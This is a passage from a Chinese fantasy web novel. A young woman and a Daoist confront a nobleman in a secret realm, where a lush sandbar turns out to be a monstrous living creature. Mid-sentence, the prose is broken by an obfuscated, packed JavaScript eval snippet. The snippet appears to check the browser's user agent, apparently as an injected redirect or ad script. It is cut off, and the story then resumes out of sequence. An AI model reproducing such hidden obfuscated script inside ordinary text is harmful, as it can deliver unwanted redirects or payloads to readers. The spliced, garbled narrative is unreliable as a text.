祝今照举手挠双髻,有些不确定地道:“你、你笑什么?” 裴枕寒回答她上一个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周公子那条没断的胳膊点着他胸口,大声道:“敢把你方才的话再说一遍么?” 那人缩着脖子,不敢言语。 祝今照笑道:“周公子,如今咱们都是一条船上的人,没必要窝里横罢?” 周公子嗤笑了声,道:“谁跟你是一条船上的?” 一面朝她走去,一面扬声喊道:“她是江临的人!谁跟她是一条船上的,谁就再也别上我周某人这条船!” 说着已走到祝今照跟前,一转身,却被那白衣道士挡在她前头。 裴枕寒长臂垂着,从容拦住祝今照往前冲的动作。 “小道长!”祝今照急得快哭了。 “哟,”周公子抬手便推,“又一个……” 手推过去,却像是空间扭曲了一般,无论如何近不了他的身。 周公子仰脸,裴枕寒面无表情瞧着他,却自有一股无形的威压,压得他嗓子发紧。 周公子颤声:“你……你是何人……” 裴枕寒没理他的问话,只示意他看向旁边湖面,道:“你若不想在此,那边有可留之地。” 像是内心毫无波澜,声音听起来很平静。 周公子望过去。 一大片沙洲,上头有一座小山,岸边竟还有大片色彩鲜艳的水草。瞧着便是富饶的好地方。 他心头一喜。 望望这灰蒙蒙的水面,抓起一个小厮,扑通丢进水里,指着前方道:“去!给我游到那头。” 小厮平安游过去了。 周公子一喜,朝后方众人道:“诸位!不想受那小丫头摆布的,便随我来罢!” 抓来两个小厮,叫他们载着,游进水里。 众人面面相觑,犹豫不决。 祝今照一眼瞧出不对,急忙站出来,扬声道: “诸位贵人!休被迷惑。这秘境中生灵都附着秘境主人的执念,主人既是寂寞之人,这秘境如何会有那般鲜嫩的水草?” 众人一听,纷纷觉得有道理。 李暄道:“那……那水草是?” 祝今照看向血妖。血妖全身僵直,只顾望着那沙洲。 她只好又仰脸看裴枕寒:“小道长,那水草,莫非是些迷惑人的生灵?” 裴枕寒唇角微扬,心情很放松地道:“并非水草。” “不是水草?那那些生灵是……?” “沙洲。” 祝今照眨了眨眼:“嗯?” 裴枕寒像同她说什么平常话:“沙洲,便是那生灵。” 祝今照呼吸一滞。 那头,周公子朝众人举手:“喂——!没人来么?这边的确水草丰茂,生机勃勃!” 他抬手去拔那高及人腰的水草。 竹筏上,众人却像见了鬼似的,尖叫连连。 周公子奇怪地抬眼。只见众人东倒西歪,软倒了一片。 与此同时,他背后毛毛的,像被什么盯住了。 他转过身。 身后,那片灰黑的山,忽地变成了暗红色。 暗红色之中,有两条黑色竖线。 像两只赤红的眼睛。 忽地,两条竖线动了。 一同聚焦在他身上。